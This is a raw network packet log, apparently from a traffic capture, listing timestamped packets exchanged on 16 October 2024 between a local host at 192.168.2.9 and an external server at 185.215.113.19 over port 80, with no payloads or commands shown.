Oct 16, 2024 19:22:39.465498924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465611935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465611935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465611935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465611935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465611935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465675116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465675116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465675116 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465713024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465754986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465754986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465802908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465802908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465802908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465971947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465971947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465971947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465971947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465972900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465972900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.465972900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.466094971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.466094971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.466094971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.466094971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.466094971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.466155052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.466315031 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466391087 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466396093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466413021 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466442108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466445923 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466450930 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466454983 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466464043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466468096 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466480970 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466485977 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466502905 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466516018 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466532946 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466552973 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466568947 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466574907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466587067 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.466907024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467006922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467016935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467016935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467017889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467067957 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467072964 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467132092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467132092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467132092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467132092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467168093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467171907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467181921 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467185974 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467190027 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467194080 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467206955 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467215061 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467219114 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467222929 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467226028 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467230082 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467240095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467243910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467247009 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467251062 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467255116 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467261076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467261076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467338085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467612982 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467617989 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467622042 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467626095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467628956 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467634916 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467643023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467645884 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467664003 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467669964 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467689991 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467694044 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467706919 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467710972 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467719078 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467722893 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467775106 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467780113 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467818022 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467822075 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467830896 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467833996 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467843056 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467847109 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467850924 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467854977 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467863083 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467866898 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467870951 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467874050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467931986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467931986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467931986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467931986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467931986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.467967987 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467972040 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467982054 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467986107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467995882 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.467999935 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468024969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468278885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468278885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468278885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468278885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468278885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468278885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468278885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468451977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468451977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468451977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468451977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468451977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468451977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468451977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468471050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468539953 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468554020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468554020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468554020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468554020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468592882 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468596935 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468600988 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468605995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468611956 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468624115 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468628883 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468641996 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468652964 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468653917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468653917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468661070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468667984 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468678951 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.468751907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468813896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468813896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468813896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468851089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468951941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468951941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468951941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468951941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.468951941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469011068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469331980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469331980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469331980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469331980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469331980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469331980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469331980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469438076 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.469481945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469481945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469481945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469481945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469481945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469481945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469481945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469496012 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.469501019 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.469521999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469572067 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.469652891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469652891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.469790936 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.469912052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470107079 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470153093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470156908 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470200062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470200062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470230103 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470232010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470422983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470422983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470422983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470422983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470422983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470422983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470520973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470520973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470520973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470520973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470618010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470618010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470618010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470618010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470618010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470681906 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470681906 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470681906 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470711946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470824003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470824003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470824003 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470828056 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470870972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470871925 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470870972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470876932 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470881939 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470890045 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470894098 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470904112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470936060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.470953941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470959902 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470973015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470978022 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470989943 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470993996 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.470999002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471012115 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471070051 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471070051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471124887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471124887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471144915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471149921 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471158981 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471163034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471172094 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471175909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471179962 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471188068 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471196890 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471204042 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471214056 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471216917 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471230030 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471231937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471231937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471231937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471237898 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471245050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471249104 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471260071 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471266031 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471276045 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471278906 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471414089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471414089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471414089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471473932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471473932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.471709013 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471714020 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471716881 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471720934 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471724987 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471728086 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471738100 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471745968 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471750021 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471752882 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471765995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471769094 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471781015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471812010 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471816063 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471822023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471879959 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471884966 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471894026 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471898079 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471903086 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471909046 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471921921 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471925020 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471929073 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471931934 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.471998930 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472002983 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472012043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472014904 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472023964 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472028017 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472035885 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472043037 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472053051 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472058058 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472073078 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472086906 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472090960 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472095013 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472202063 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472206116 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472209930 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472253084 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472363949 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472429991 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472809076 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.472960949 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473294020 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473351955 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473356009 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473408937 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473414898 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473426104 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473429918 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473443031 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473447084 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473545074 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473570108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.473974943 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.475663900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.475665092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.475665092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.475665092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.475665092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.475665092 CEST	49716	80	192.168.2.9	185.215.113.19
